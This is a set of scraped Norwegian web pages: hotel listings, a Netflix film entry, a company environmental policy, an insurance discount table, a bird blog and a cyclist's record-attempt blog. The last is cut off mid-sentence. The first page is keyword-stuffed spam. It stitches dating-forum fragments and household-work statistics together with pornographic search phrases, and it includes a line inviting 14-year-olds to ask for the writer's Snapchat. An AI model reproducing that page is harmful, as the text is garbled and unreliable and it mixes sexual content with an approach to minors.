{"url": "http://guescollectionfemme.com/jenter-9328/jenter-ser-etter-en-god-tid-8181.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00682.warc.gz", "warc_date": "2018-03-24T23:34:58Z", "text": "# Jenter ser etter en god tid\n\nBalanse Det er viktig for en kvinne at mannen hun skal leve med har balanse i livet. Hos kj\u00f8ttmeisen er det andre kriterier som gjelder. S\u00e5 noen som melder seg frivillig til \u00e5 dele sine meninger om hva de ser i en jente?\n\nHan vet ikke at jeg liker han, og jeg vet ikke om han liker meg men n\u00e5 er jeg et steg n\u00e6rmere svare. Tar seg i h\u00e5ret. Naken dans vimeo. Jenter ser etter en god tid. Samsung fyrer opp i treningskampen Digi. S\u00f8r skuespillerinne hot. Etter \u00e5 fulgt med en stund p\u00e5 vgd lurer jeg ganske enkelt og greit p\u00e5 hva vi ser etter i det motsatte kj\u00f8nn??? Men noen menn har det bare. Kanskje blir du spurt etter om du er syk og borte fra skolen en dag.\n\nJo bredere den er, jo h\u00f8yere opp i det sosiale systemet er han. Har merket at han stirrer p\u00e5 meg. Tillit er viktig for meg I alle gruppene er det betydelig flere gutter enn jenter som bruker tid p\u00e5 denne typen aktiviteter. Du skal selvf\u00f8lgelig f\u00e5 svar, men det blir jo p\u00e5 norsk: Nesten ingen blant b\u00e5de barn og unge \u00f8nsker seg mer tid til husarbeid og arbeid med hage, hus og hytte.\n\nJeg gruer meg egt litt da. Det er ikke like store skiller mellom gutter og jenter innenfor alle typer av husholdsarbeid.\n\n\n\nEtter den gang som er et halvt \u00e5r siden n\u00e5 har jeg ikek sett han. I dag har jeg en kj\u00e6reste igjennom 2 \u00e5r, som jeg m\u00f8tte 3\u00e5r VGS, den gangen s\u00e5 jeg etter de sjenerte og rolige jentene, som ikke gjorde s\u00e5 stort nummer av ting, men som oppf\u00f8rte seg og p\u00e5 sin egen m\u00e5te ble s\u00f8te og hun jeg er sammen med passet den beskrivelsen da, og gj\u00f8r det enda. Ser ogs\u00e5 etter om jenta har planer for livet. Vel det er jo som jeg sa isted; hvis det som er under kl\u00e6ra er bra nok, s\u00e5 gj\u00f8res det selvf\u00f8lgelig unntak Og n\u00e5r sant skal sies bryr jeg meg fint lite om hva slags kl\u00e6r som benyttes, s\u00e5 mangt de ikke er hinsides all forstand idiotiske.\n\nLik Nettavisen her og f\u00e5 flere ferske nyheter og friske meninger\\! Likevel har det i hele \u00e5rsperioden v\u00e6rt slik at jentene i mye st\u00f8rre grad enn guttene har tatt del i husarbeidet.\n\nMitt beste tips for de som bruker Tinder mye, er \u00e5 fors\u00f8ke \u00e5 treffe personen man prater med s\u00e5 raskt som mulig i \"levende livet\". Kvinner vil gjerne ha en mann som er oppmerksom p\u00e5 sitt uteseende. Dette kan v\u00e6re et annet tegn p\u00e5 forelskelse.\n\n## Fr\u00e6k videreg\u00e5ende l\u00e6rer\n\nMed lengre dager og mer lys, settes det i gang en kjedereaksjon av hormoner hos de fleste skapninger.\n\nEn annen type sosialt samv\u00e6r for barn og unge er bes\u00f8k av eller hos venner. Gammel dame porno galleri. Et vanlig tegn p\u00e5 forelskelse er at man ordner h\u00e5ret sitt n\u00e5r man snakker med den man liker. Guttene ser alts\u00e5 ut til \u00e5 v\u00e6re mer vanlig virkedagsarbeidere enn jentene er.\n\n\n\nFilm og TV Litteratur Musikk. S eg bur i Hordaland og vist du blir 14 i \u00e5r og er singel s\u00e5 bare sp\u00f8r etter snapen min Ok, gleder ogs\u00e5 vist du vil ha parr terapi. Det er vanlig at en person om er interessert i deg \u00f8nsker fysisk kontakt. For deg tror jeg ikke det bi I den yngste aldersgruppen var denne arbeidstiden noks\u00e5 jevnt fordelt mellom gutter og jenter.\n\nDette resulterer i at personen pr\u00f8ver \u00e5 \"skjerme\" deg fra andre. S\u00e5 vi slo opp.\n\n", "language": "no", "__index_level_0__": "baef5a65-c045-4bed-996b-615909bec1ee"}
{"url": "http://www.flixfilmer.no/one-for-the-money/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:33:17Z", "text": "# One for the Money\n\n**Date:** 25/11/2016 | Ingen kommentarer\n\n\n\n**Utgitt**: 2012  \n**Sjangere**: Action, Comedy, Crime  \n**Regiss\u00f8r**: Julie Anne Robinson  \n**Medvirkende**: Katherine Heigl, Jason O'Mara, Daniel Sunjata, John Leguizamo  \n**Spr\u00e5k**: English  \n**IMDB-karakter**: 5.3  \n  \n**Handling** : En skilt og arbeidsl\u00f8s kvinne tar en jobb som dus\u00f8rjeger for \u00e5 f\u00e5 endene til \u00e5 m\u00f8tes, og det f\u00f8rste store oppdraget hennes gjelder en ekskj\u00e6reste fra ungdomstiden.\n\nOne for the Money hadde premiere p\u00e5 Netflix Norge den 25. November, 2016. Etter denne datoen g\u00e5r det ofte 6-12 m\u00e5neder f\u00f8r One for the Money kan bli fjernet fra streamingtjenesten eventuelt at det kommer nye avsnitt \u2013 dersom tittelen er en serie. Dette er kun veiledende basert p\u00e5 erfaringer.  \n  \n**Netflix med fem nye originale animasjonsserier for barn**  \n  \n\nFlixfilmer er omtalt i f\u00f8lgende medier:  \n\n\n", "language": "no", "__index_level_0__": "794cf0cf-4b2e-4f08-b1ca-6cc4c0c0ff5c"}
{"url": "https://www.agoda.com/nb-no/hotel-elios/hotel/bellaria-igea-marina-it.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-25T00:04:05Z", "text": "## Oppsummering\n\nBeleilig plassert i Bellaria-Igea Marina,er Hotel Elios en flott base for \u00e5 utforske denne livlige byen. Herfra kan gjestene nyte lett tilgang til alt den livlige byen har \u00e5 tilby. Med sin beliggenhet, tilbyr hotellet enkel tilgang til byens m\u00e5 se destinasjoner.  \n  \nHotel Elios tilbyr up\u00e5klagelig service og alle n\u00f8dvendige fasiliteter for \u00e5 styrke reisende. Gjestene p\u00e5 hotellet kan nyte funksjoner som aviser, parkeringsplass, Wi-Fi i fellesomr\u00e5der, heis, kj\u00e6ledyr tillatt.  \n  \nAtmosf\u00e6ren av Hotel Elios gjenspeiles i alle rom. sammenhengende rom tilgjengelig, vekking, safe p\u00e5 rommet, skrivebord, balkong/terasse er bare noen av fasilitetene som er til din disposisjon i noen av rommene. Hotellets bordtennis, privat strand er ideelle steder \u00e5 slappe av etter en travel dag. Uansett form\u00e5let med bes\u00f8ket er, Hotel Elios et utmerket valg for ditt opphold i Bellaria-Igea Marina.\n\n  - Ekstrasenger avhenger av romtypen du velger, sjekk reglene for hvert rom for mer informasjon.\n\nFor bestillinger av mer enn 5 rom, er det mulig andre regler regler og tillegg gjelder.\n      - Gratulerer\\!\n    \n      - Prisen din ble nettopp lavere med v\u00e5r umiddelbare kupong\\!\n    \n      - Du trenger ikke gj\u00f8re noe for \u00e5 bruke denne innsparingen.\n| 26 | 27 | 28 |    |    |    |    |\n\nl\u00f8r. 13. jan 2018 \u2013 s\u00f8n. 14. jan 2018(1 natt)\n", "language": "no", "__index_level_0__": "d90e8cfc-e11b-494d-8ece-e38b32eb2088"}
{"url": "http://www.largestcompanies.no/miljopolicy", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:18:41Z", "text": "# Milj\u00f8policy\n\nCMPartner AB (Largestcompanies) sitt m\u00e5l er milj\u00f8bevisst forretningsvirksomhet. I den bedriftsovergripende policyen inng\u00e5r siden lenge \u00e5 tilby en god og trygg arbeidsplass, beskytte milj\u00f8et samt spare energi og naturressurser.\n\n## Policyen danner grunnlaget for f\u00f8lgende m\u00e5l:\n\n  - Vi skal tilby et godt og trygt arbeidsmilj\u00f8 og s\u00f8rge for at de ansatte har skikkelig oppl\u00e6ring og hensiktsmessig sikkerhets- og beredskapsutstyr tilgjengelig.\n  - Vi skal ta ansvar for n\u00e6rmilj\u00f8ene der vi har virksomhet. Vi skal opptre raskt og ansvarlig ved hendelser eller forhold som kan utgj\u00f8re en risiko for helse, sikkerhet eller milj\u00f8. Vi skal rapportere slike hendelser til myndighetene og informere ber\u00f8rte parter.\n  - Vi skal rutinemessig f\u00f8lge opp og ta for oss lover og andre krav bedriften er ber\u00f8rt av.\n\n### Oppn\u00e5dde milj\u00f8m\u00e5l\n\n  - V\u00e5re trykte publikasjoner b\u00e6rer Nordisk r\u00e5d sitt milj\u00f8merke Svanen.\n  - V\u00e5rt trykkeri PunaMusta har PEFC-sertifisering. PunaMusta har ogs\u00e5 blitt tildelt kvalitets- og milj\u00f8sertifikatene ISO 9001 og ISO 14001.\n  - Digitalt arkiv for innsamlet data er installert.\n  - Vi sender n\u00e5 ogs\u00e5 elektroniske fakturaer.\n  - Kildesortering og gjenvinning p\u00e5 kontoret.\n  - Kvittering av sendte fakser og rapporter om mislykkede fakssendinger lagres digitalt.\n\n### Oppsatte milj\u00f8m\u00e5l\n\n  - \u00c5 redusere bruken av papir.\n  - \u00c5 \u00f8ke milj\u00f8bevisstheten blant medarbeiderne.\n  - \u00c5 se til at v\u00e5re leverand\u00f8rer og samarbeidspartnere lever opp til v\u00e5re h\u00f8ye milj\u00f8krav.\n\n", "language": "no", "__index_level_0__": "11449372-376b-4abe-84d0-eaa1fe9bd399"}
{"url": "https://www.gjensidige.no/privat/kundefordeler/fordel-forsikring", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00363.warc.gz", "warc_date": "2018-03-24T23:14:58Z", "text": "# F\u00e5 rabatt\n\nKj\u00f8per du flere forsikringer, kan du f\u00e5 inntil 18\u00a0% fordelsrabatt p\u00e5 skade\u00adforsikringene dine.\n\nDu blir ogs\u00e5 Mer-kunde.\n\n## Slik f\u00e5r du rabatt\n\nFor \u00e5 f\u00e5 fordelsrabatt m\u00e5 du ha **3 eller flere forsikringer** hos oss. Minst 1 av forsikringene m\u00e5 v\u00e6re et hovedprodukt .\n\n|                      |                   |             |\n| -------------------- | ----------------- | ----------- |\n| For deg som har mye  | 1 hoved\u00adprodukt   | 10 % rabatt |\n| For deg som har mer  | 2 hoved\u00adprodukter | 14 % rabatt |\n| For deg som har mest | 3 hoved\u00adprodukter | 18 % rabatt |\n\n## Hovedprodukter\n\nHvis du har flere forsikringer i 1 kategori, for eksempel 2 bilforsikringer, teller 1 som hovedprodukt og resten som tilleggsprodukter.\n\nHusforsikring med innbodekning teller som 1 forsikring.\n", "language": "no", "__index_level_0__": "e28a6137-bfe4-4a9b-95a0-29f8f9373d29"}
{"url": "http://docplayer.me/2540778-Hallingdal-pa-g-gul-front-snsb-peter-dahlqvist-hemsen-proudly-present-est-2007-din-taxi-pa-geilo-tlf-32-09-10-00-anne-nordsti.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-25T00:16:34Z", "text": " Sommerfest i skj\u00e6rg\u00e5rden Gladkj\u00f8kken Sommer er en helaftens opplevelse i idylliske omgivelser p\u00e5 Geitodden p\u00e5 Flekker\u00f8ya. Nyt en s\u00f8rlandsk sommerkveld med spennende grillmat og trekkspillmusikk p\u00e5 brygga.\n\n", "language": "no", "__index_level_0__": "90b04877-5405-4292-938b-9a2c147fdacd"}
{"url": "http://knutsfugler.blogspot.com/2014/02/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00682.warc.gz", "warc_date": "2018-03-24T23:30:41Z", "text": "\n## torsdag 20. februar 2014\n\n### \u00c6rfugl hann ungfugl\n\n\n\n  \nJeg har s\u00e5 liten erfaring med fugler at jeg ikke er sikker p\u00e5 om dette er en f\u00f8rste\u00e5rs hann \u00e6rfugl eller om det er en hybrid. Under er et bilde av den vanlige drakten til en \u00e6rfugl hann, men kanskje det er slik at den ikke utvikler denne flotte drakten f\u00f8r i det andre leve\u00e5ret?  \n  \nH\u00f8rer gjerne fra en av dere som vet bnedre enn meg selv.  \n  \n\n\n\n  \n16:05    2 kommentarer:        \n\n## fredag 7. februar 2014\n\n### Hagefugltellingen 2014\n\n| :--------------------------------------------------------------------------------------------------------------------: |\n|  |\n|                                                Opphavsrett: Fuglevennen                                                |\n\n  \n  \n  \nP\u00e5 Norsk Ornitologisk Forenings nettsider\u00a0http://www.birdlife.no/organisasjonen/nyheter/?id=1258  \nkan man lese:  \n  \n\n**Denne vinteren har v\u00e6rt mild og sn\u00f8fri mange steder i landet. Det gjorde seg ogs\u00e5 gjeldende p\u00e5 resultatene fra Hagefugltellingen. \u00c5rets store slagerart p\u00e5 tellingen ble flaggspetten, men det var ogs\u00e5 mange andre spennende resultater.**\n\n  \n\u00c5rets Hagefugltelling er over, og mer enn 5200 hager har blitt talt og rapportert i perioden. Det er imponerende, og vi takker alle som har deltatt. Det er en fin spredning i hele landet, og alle fylker er godt representert. Hele 300 000 fugler ble sett, noe som gir et gjennomsnitt p\u00e5 56,5 fugler per hage. Det er akkurat p\u00e5 normalen siden tellingene startet i 2008.\n\nSom alltid er de tre vanligste artene i norske hager vinterstid kj\u00f8ttmeis, bl\u00e5meis og skj\u00e6re. Normalt er det variasjon p\u00e5 plassene bak, men i \u00e5r er fjerdemann, dompapen og nummer fem, svarttrosten, p\u00e5 de samme plasseringene som i fjor. \u00c5rets store plasseringsklatrer var flaggspetten som havnet p\u00e5 sjetteplass. Vi merker oss ogs\u00e5 r\u00f8dstrupen, som viser at den aldri f\u00f8r har v\u00e6rt s\u00e5 vanlig i norske hager som i \u00e5r med sin 11. plass. I tabellen nedenfor ser du artene, hvor mange hager arten ble funnet (prosent og antall), antall individer og til slutt ei lenke til kartvisning over hvor arten ble funnet under Hagefugltellingen 2014.\n\n  \nooOoo  \n  \nDette stemmer helt med mine observasjoner i egen hage bortsett fra Svarttrost som jeg ikke har sett.  \n  \n\n Lagt inn av  \n\nKnut Riise  kl. \n\n16:40    3 kommentarer:        \n\n\n\n", "language": "no", "__index_level_0__": "4657d5ee-9f9e-4257-8d61-2fbf5ae9512c"}
{"url": "https://www.agoda.com/nb-no/hotel-neustadter-hof/hotel/schwarzenberg-erzgeb-de.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00466.warc.gz", "warc_date": "2018-03-24T23:45:59Z", "text": "## Oppsummering\n\nN\u00e5r du bes\u00f8ker Schwarzenberg, vil du f\u00f8le deg hjemme p\u00e5 Hotel Neust\u00e4dter Hof, som tilbyr overnatting av h\u00f8y kvalitet og god service. Herfra har gjester lett tilgang til alt den livlige byen har \u00e5 tilby. Med sin beliggenhet, tilbyr hotellet enkel tilgang til alle kjente attraksjoner i byen.  \n  \nP\u00e5 Hotel Neust\u00e4dter Hof, garanterer utmerket service og f\u00f8rsteklasses fasiliteter et uforglemmelig opphold. For \u00e5 nevne noen av hotellets fasiliteter, er det 24-timers resepsjon, m\u00f8te-/selskapslokale, restaurant, aviser, vaskeri.  \n  \nAlle gjesterom har gjennomtenkte fasiliteter for \u00e5 sikre en uovertruffen f\u00f8lelse av komfort. Hotellet tilbyr mange unike fritidsmuligheter, for eksempel badekar, treningssenter, badstue, solarium. Uansett form\u00e5let med bes\u00f8ket, er Hotel Neust\u00e4dter Hof et utmerket valg for ditt opphold i Schwarzenberg.\n\n| 15 | 16 | 17 | 18 | 19 | 20 | 21 |\n| 22 | 23 | 24 | 25 | 26 | 27 | 28 |\n| 29 | 30 | 31 |    |    |    |    |\n\n| ma | ti | on | to | fr | l\u00f8 | s\u00f8 |\n| -- | -- | -- | -- | -- | -- | -- |\n|    |    |    | 1  | 2  | 3  | 4  |\n| 5  | 6  | 7  | 8  | 9  | 10 | 11 |\n| 12 | 13 | 14 | 15 | 16 | 17 | 18 |\n| 19 | 20 | 21 | 22 | 23 | 24 | 25 |\n| 26 | 27 | 28 |    |    |    |    |\n\nl\u00f8r. 13. jan 2018 \u2013 s\u00f8n. 14. jan 2018(1 natt)\n", "language": "no", "__index_level_0__": "9476444c-42cd-4e28-8ec8-fbc77c42353e"}
{"url": "http://www.reidarborgersen.com/category/rekorder/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00510.warc.gz", "warc_date": "2018-03-24T23:22:56Z", "text": "# Reidar Borgersen\n\n## Syklist i Team Joker Byggtorget\n\n# Kategoriarkiv: rekorder\n\n# Norgesrekord 50km\n\nPosted on 30. september 2011  by  Reidar\n\n3\n\nI g\u00e5r lyktes jeg igjen \u00e5 sette en ny norsk rekord, denne gangen p\u00e5 50km med tiden 1.00.51,0.\n\nJeg hadde jo en dr\u00f8m om \u00e5 komme under timen, men visste at det kom til \u00e5 bli vanskelig. P\u00e5 10km hadde jeg 12.08, og selv med start i nedoverbakke s\u00e5 var det etter skjemaet. Men jeg visste samtidig at det bl\u00e5ste litt imot, s\u00e5 jeg ga ikke opp. Ved vending haddde jeg 30.45. Fortsatt litt bak skjemaet, men h\u00e5pet var at vinden skulle bl\u00e5se meg raskt tilbake. Det gikk fortere tilbake, og det er moro \u00e5 flyte bortover flatene p\u00e5 56-12. Men det gikk ikke fort nok, p\u00e5 40km hadde jeg 48.45, og jeg visste at timen var utenfor rekkevidde. Men den norske rekorden var absolutt innenfor rekkevidde, og det var bare \u00e5 male p\u00e5 videre. S\u00e5 etter en sluttspurt opp de to siste tunge kilometrene i slak motbakke endte jeg alts\u00e5 p\u00e5 1.00.51,0. Kan ikke si meg misforn\u00f8yd med det?\n\nSelv om det gikk fort, s\u00e5 tro jeg ikke s\u00e5 mye watt. 373 i snitt if\u00f8lge m\u00e5leren. Litt rart egentlig, men n\u00e5 er jo jeg og min Black Knight Merida Time Warp med Zipp hjul og Etto hjelm ganske s\u00e5 aero og da. Se dataene mine fra Garmin Connect her.\n\nFor arrang\u00f8ren var det ekstra moro at ogs\u00e5 Cecilie Gotaas Johnsen satte norsk rekord p\u00e5 20km for damer, med tiden 27.06,7. Hun hadde tatt turen helt fra Trondheim for \u00e5 sette denne rekorden, s\u00e5 jeg syns hun fortjente den.\n\nJeg regner med at Tunge Tr\u00e5kk Sykkelfestival blir en \u00e5rlig begivenhet, og at flere vil ta turen neste \u00e5r\\!\n\n## Bilder\n\nBj\u00f8rn Ruud i Ottestad IL tok noen bilder, og jeg har f\u00e5tt lov til \u00e5 dele de her:\n\n  -   \n    Passerer m\u00e5lstreken, vel vitende om at jeg hadde kj\u00f8rt inn til norsk rekord.\n\n  -   \n    To glade norgesrekordholdere, Cecilie Gotaas Johnsen og Reidar Borgersen.\n\n  \n  -   \n    Ottestad IL hadde s\u00f8rget for rekordkake med innskriften 23.59,8, som var tiden p\u00e5 min 20km rekord p\u00e5 tirsdag.\n\n  \n# Oppsummering VM tempo og norsk rekord\n\nPosted on 28. september 2011  by  Reidar\n\nDa er VM over, og jeg er tilbake hjemme i Norge. Etter noen fine dager som tilskuer der nede er det fint \u00e5 komme hjem. Men jeg har ikke hatt s\u00e5 mye tid til \u00e5 slappe av, da huslige sysler har blitt etterfulgt av en jakt p\u00e5 rekorder.\n\nResultatmessig kan jeg ikke si meg forn\u00f8yd med VM. Sa p\u00e5 forh\u00e5nd at dr\u00f8mmem\u00e5let var topp 10, realistisk m\u00e5l topp 20, og at jeg burde klare \u00e5 v\u00e6re topp 40. Resultatlista sier 43, og det er litt for langt bak. Ikke katastrofe, men det er ikke p\u00e5 det niv\u00e5et jeg h\u00e5pet \u00e5 v\u00e6re p\u00e5. Nesten 6 minutter bak vinner Tony Martin er for mye, selv om han kj\u00f8rte noe f\u00e6lt der nede. Det jeg tr\u00f8ster meg med er at jeg sannsynligvis ikke klarte \u00e5 prestere opp mot mitt beste. Jeg gjorde det jeg kunne, og synes egentlig jeg gjorde et godt ritt, men wattm\u00e5leren forteller at snittwatten var p\u00e5 371, og normalised power p\u00e5 375 (les om snittwatt vs normalised watt her). Under NM i juni var de samme tallene 393/406, og under Hommelvikrittet 393/405. Selv om VM l\u00f8ypa hadde flere svinger med oppbremsinger og akselerasjoner s\u00e5 mener jeg at mye tyder p\u00e5 at jeg ikke presterte opp mot mitt beste. Det er jo litt dumt siden VM var \u00e5rets hovedm\u00e5l, men jeg kan love at jeg gjorde s\u00e5 godt jeg kunne. Jeg klarte bare ikke \u00e5 tr\u00e5 hardere.\n\nEtter VM hadde jeg avtalt med Ottestad IL om gj\u00f8re et fors\u00f8k p\u00e5 et par norske rekorder, 20km og 50km. Jeg m\u00e5 innr\u00f8mme at jeg ikke var veldig innstilt p\u00e5 denne oppgaven etter et noe skuffende VM, men jeg var villig til \u00e5 gj\u00f8re et fors\u00f8k. Derfor var jeg rimelig overraska da jeg noen kilometer s\u00f8r for Elverum\u00a0 ig\u00e5r kj\u00f8rte inn til 23.59,8 p\u00e5 20km. Jeg hadde et h\u00e5p om \u00e5 klare 24.28 som var den norske rekorden, men at jeg skulle komme under 24 var helt uventet. Men jeg hadde en god dag ig\u00e5r, og v\u00e6ret var p\u00e5 min side. Perfekt h\u00f8stv\u00e6r med ca 13-14 grader, sol, og litt sidevind. Men sidevinden l\u00f8yet faktisk vesentlig mens jeg kj\u00f8rte, s\u00e5 da slapp jeg den ventede sidemotvinden etter vending. Litt flaks skal man ha ogs\u00e5.\n\nI morra torsdag gj\u00f8r jeg et fors\u00f8k p\u00e5 50km p\u00e5 samme veistrekning, og jeg h\u00e5per p\u00e5 godv\u00e6r da og. Og gode bein selvf\u00f8lgelig. Du kan f\u00f8lge fors\u00f8ket live fordi jeg kj\u00f8rer med en GPS sender, og det gj\u00f8r du p\u00e5 live 50km rekordfors\u00f8k.\n\nEn stor takk til Tommy Olsen og Ottestad IL for arrangering av rekordfors\u00f8kene\\!\n\n# Norsk rekord\n\nPosted on 9. september 2010  by  Reidar\n\n3\n\nSom en del kanskje har f\u00e5tt med seg, s\u00e5 satt jeg onsdag kveld norsk rekord p\u00e5 10km tempo med tiden 11.58,8. Det er en tid og en prestasjon jeg er ganske stolt av\\! Jeg er ikke s\u00e5 reint lite forn\u00f8yd med \u00e5 v\u00e6re f\u00f8rste nordmann under 12 minutter (forresten, har andre kj\u00f8rt fortere i utlandet eller p\u00e5 andre tempoer?).\n\nDet f\u00f8les ganske rart. Siden 2002, da jeg gikk 10000m p\u00e5 sk\u00f8yter p\u00e5 13.20,77, har jeg jaget 13 minuttersgrensa p\u00e5 denne distansen. Jeg kom ikke lenger enn 13.19. N\u00e5, etter \u00e5 ha gitt opp, klarte jeg plutselig 12 minuttersgrensa p\u00e5 sykkel, uten egentlig \u00e5 ha jaget den. Rart, men veldig deilig\\!\n\nGjennomf\u00f8ringa er jeg godt forn\u00f8yd med. Jeg merka i forkant at jeg var litt mer urolig enn foran et vanlig temporitt. Derfor var jeg ogs\u00e5 litt usikker den f\u00f8rste kilometeren. Jeg m\u00e5 jo \u00e5pne hardt, men ikke for hardt. De neste 4 kilometerne var jeg tryggere, kom inn i en fin rytme og bare jobba hardt. Ved vending fikk jeg f\u00f8rste sekundering, 6.08 fikk jeg beskjed om (det riktige var 6.13 if\u00f8lge dommeren som satt i bilen bak). Siden det hadde bl\u00e5st litt imot denne veien, f\u00f8lte jeg at jeg hadde ganske god kontroll p\u00e5 rekorden. P\u00e5 hjemturen hadde vi tegnet opp hver kilometer s\u00e5 jeg skulle vite hvor langt jeg hadde igjen og eventuelt sekundere meg selv. Ved 7km s\u00e5 jeg 8.45 p\u00e5 klokka mi. Da ble jeg litt usikker, bruker jeg ikke litt under 4 minutter p\u00e5 3km? G\u00e5r det sakte? Var det 6.28 Morgan sa ved vending? Jeg m\u00e5tte bare legge bort sekunderinga og kj\u00f8re, for jeg klarer ikke \u00e5 regne eller tenke noe s\u00e6rlig under konkurranser. Jeg bare jobba p\u00e5, og da jeg kom til 9km s\u00e5 jeg litt under 11 minutter p\u00e5 klokka. Joseph og Morgan sto ogs\u00e5 der, og sa sannsynligvis \u00ab59\u00bb, men jeg fikk det bare halvveis med meg. Derfra s\u00e5 jeg ogs\u00e5 m\u00e5l og visste at jeg m\u00e5tte p\u00e5f\u00f8re meg litt mer smerte. En synes litt synd p\u00e5 seg selv p\u00e5 dette tidspunktet, og og det er t\u00f8ft \u00e5 bytte bort tanker som \u00abjeg er forn\u00f8yd, jeg trenger ikke presse S\u00c5 hardt\u00bb med \u00abdu har mer\\!\u00bb. Inn mot m\u00e5l s\u00e5 jeg p\u00e5 klokka mi, og den viste litt over 12. Jaja, tenkte jeg, \u00abdet er jo bra det\u00bb. Da hadde jeg selvf\u00f8lgelig glemt at min egen klokke satte jeg igang jeg noen sekunder f\u00f8r start. S\u00e5 det var ikke leit \u00e5 h\u00f8re \u00ab11.58, gratulerer\\!\u00bb av dommeren som satt i bilen som fulgte meg\\!\n\nS\u00e5 en takk til alle som hjalp meg p\u00e5 denne dagen og i dagene f\u00f8r. Det er ikke lite som skal ordnes f\u00f8r et s\u00e5nt rekordfors\u00f8k. Sportsdirekt\u00f8r i Drammen CK Elite, Ole Kristian B\u00f8en, har tatt mange telefoner og ordna opp i ting som \u00e5 skaffe dommere, s\u00f8rge for \u00e5 m\u00e5le opp l\u00f8ypa (takk til stor hjelp fra en hjelpsom politimann her), skaffe klokker og diverse. Gunnar Baksaas i T\u00f8nsberg CK stilte opp med mange av sine sterke juniorryttere, og s\u00f8rget for at ingen biler forstyrret meg i l\u00f8ypa. Morgan og Joseph merka opp l\u00f8ypa med kritt, og sto ellers for den siste peptalken f\u00f8r start. De to gutta har ubegrensa tro p\u00e5 meg, og det smitter jo litt over p\u00e5 meg. Og f\u00f8r jeg begynner \u00e5 bli sentimental s\u00e5 vil jeg rette en stor takk til alle som kom for \u00e5 se p\u00e5 og heie meg fram, jeg synes det var meget god stemning p\u00e5 Svinevoll onsdag kveld\\!\n\nJoseph, aka @vikingcycles tok mange flotte bilder ig\u00e5r, jeg tror jeg har tillatelse til \u00e5 legge de ut her:\n\n\n\nN\u00e6rmer seg start.\n\n\n\nPasse p\u00e5 s\u00e5 bremsene ikke st\u00e5r p\u00e5.\n\n\n\nKlar for start. Heldigvis er det lov \u00e5 kj\u00f8re fortere enn 60 den veien jeg skal\u2026\n\n\n\u00ab11.58, gratulerer\\!\u00bb\n\n\n\nHerlig mottakelse\\!\n\n\n\nB\u00f8en s\u00f8rger for riktig bekledning og recovery bar (takk, Squeezy).\n\n# Rekorder er til for \u00e5 sl\u00e5s\n\nPosted on 5. september 2010  by  Reidar\n\nSvar\n\nI sk\u00f8yter er vi oppsatt p\u00e5 tider og rekorder, og selvf\u00f8lgelig s\u00e5 fascinerer tider ogs\u00e5 meg. Jeg synes det er fint med tider. Da dreier det seg ikke bare om \u00e5 vinne eller komme f\u00f8rst i m\u00e5l, men om \u00e5 gj\u00f8re \u00e5 f\u00e5 best tid. Og tider kan selvf\u00f8lgelig sammenlignes. Med seg selv eller med andre. Alle sk\u00f8ytel\u00f8pere noterer selvf\u00f8lgelig personlige rekorder. Utend\u00f8rs og innend\u00f8rs, for inne g\u00e5r det selvf\u00f8lgelig fortere. Og sk\u00f8ytebaner i h\u00f8yden g\u00e5r selvf\u00f8lgelig fortere enn baner i lavlandet.\n\nVi sammenligner ogs\u00e5 tider med andre, og mange er opptatt av tidligere storheters tider. Tider som 16.32,6 og 15.46,6 er viktige milep\u00e6ler for unge milslukere, tider som virket usl\u00e5elige 50 \u00e5r tilbake. Idag passerer vi dem i 15-16\u00e5rs alderen, f\u00f8r for de beste. Tidene forandrer seg, og det tar vi som et tegn p\u00e5 at verden g\u00e5r framover. Ofte kommer tidsforbedringen fra utstyrsforbedringer, som trikoter, innend\u00f8rsbaner eller klappsk\u00f8yter. Ideellt sett burde selvf\u00f8lgelig forbedringen kommet av ut\u00f8verens prestasjonsforbedring, og jeg beundrer sv\u00f8mmingens fors\u00f8k p\u00e5 \u00e5 eliminere utstyrets innvirkning p\u00e5 tidene (som forbud av superraske sv\u00f8mmedrakter). Men b\u00e5de sk\u00f8yter og sykkel har godtatt at utstyret bidrar til \u00e5 forbedre tidene, og stort sett omfavnet nyvinninger som gj\u00f8r at tidene blir bedre. Det viktigste er tross alt at ut\u00f8verne konkurrerer p\u00e5 noenlunde lik linje slik at den beste vinner, og ikke at vi skal kunne sammenligne tidene med gamle storheter. Og det er jo tross alt moro n\u00e5r det g\u00e5r fortere.\n\nSykkelsporten virker ikke til \u00e5 v\u00e6re s\u00e5 opptatt av tider. Den st\u00f8rste grunnen til det er sikkert at tempol\u00f8p ofte g\u00e5r over ustandardiserte distanser og i forskjellige l\u00f8ypeprofiler. Det viktigste er tross alt at den som sykler raskest p\u00e5 konkurransedagen vinner. Men det noteres likevel rekorder p\u00e5 en del distanser, og som tidligere sk\u00f8ytel\u00f8per s\u00e5 tiltaler det selvf\u00f8lgelig meg. Jeg har sykla et par ritt i det siste som tyder p\u00e5 at jeg kan v\u00e6re i n\u00e6rheten av norgesrekorden b\u00e5de p\u00e5 20km og 50km. Derfor har jeg bestemt meg for at onsdag 8. september skal jeg angripe en norgesrekord, denne gangen p\u00e5 10km. Rekorden lyder p\u00e5 12.12.7, og innehas av Knut Anders Fostervold.\n\nI sykkel kan en ikke sette norgesrekord i vanlige ritt, med unntak av NM, en m\u00e5 arrangere spesielle rekordfors\u00f8k. Litt dumt synes n\u00e5 jeg, for da vil ikke rekordene n\u00f8dvendigvis gjenspeile den beste tiden oppn\u00e5dd av en norsk ut\u00f8ver. Finnes det noe statistikk over beste tider oppn\u00e5dd av nordmenn over 